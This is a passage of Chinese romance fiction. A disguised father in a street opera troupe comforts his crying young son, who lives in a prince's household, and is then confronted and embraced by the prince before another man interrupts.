厉害的杂耍都演完了,这大财主家的小公子还是没笑,班主黔驴技穷,只得把大家伙都拉上来表演变脸,这个不难,但是小孩子喜欢,但愿这小公子能笑一笑,再让他进一块儿银锭。
顾砚舟混在人群中,有意往果儿那边靠,凑近一看,孩子身上并没有什么受欺负的痕迹。
他给果儿变了个脸,期待果儿像以前那样咯咯地笑起来,可是果儿看着他,小嘴一瘪,眼圈就红了,眼泪啪嗒啪嗒往下掉。
这下不只是戏班子,连昭文几人都慌了:“怎么了小公子?咱们回楼上去找殿下?”
“不要!”果儿大叫,“大坏蛋滚开!”
“好好好,不找不找。”昭文简直束手无策,正在焦头烂额之际,那戏班子中忽有一人变了个戏法,掏出一支糖面人儿来,递到果儿跟前。
昭文几人一愣,果儿也愣住了,那人动作却快,抬手抹了一下果儿脸蛋上挂着的泪,就把糖面人儿塞进了他手里。
熟悉的、像爹爹一样的……果儿抓着糖面人儿,呆呆地抬头,可刚才那个人已经混入了戏班中,所有人都穿着一样的戏服,戴着面具,一下子就找不着他了。
是爹爹吗?
可是大坏蛋说爹爹去养病了,爹爹不可能在这里。
他撇了撇嘴,把糖面人儿往嘴里塞,昭文吓得拦住他:“小公子,不能乱吃别人递来的东西!”
戏班子热热闹闹走过去了,街上仍是熙熙攘攘。
“你今天干得不错,喏,多付你十文,明天还来啊。”班子散场前,班主给他们发了今天的工钱,顾砚舟沉默地接过那一小吊铜板,点也不点一下,就往回走。
果儿。
果儿……
你在王府过得不开心么?
他满脑子都是果儿望着他掉眼泪的模样,他想不通,殿下费尽心思把果儿抢走,为什么不对果儿好一些?
安静的小巷中回荡着他心不在焉的脚步声,忽然,有人在背后开口:“砚舟。”
顾砚舟愣了一下,反应过来的瞬间,登时头皮发麻,抬腿就往前冲!
还没等他冲出两步,一股巨力把他拉回去,用力抱在了怀里。”
浓郁的梅花香味充斥鼻尖。
顾砚舟脑中嗡嗡作响,祝时瑾颤抖的、暗哑的声音在他耳边响起:“砚舟,是你。”
他呢喃着,红着双眼,来寻顾砚舟的嘴唇。
就在这一刻,有人在不远处喊:“当家的,你回来了。”
顾砚舟猛然回了魂,一把推开了祝时瑾。
何云初走了过来,下午的日头还很好,光线明亮,他看清楚祝时瑾那张漂亮得过分的脸时,神色登时就变了。
“当家的,他是谁?”
祝时瑾的脸色也变了。
“顾砚舟,他叫你什么?”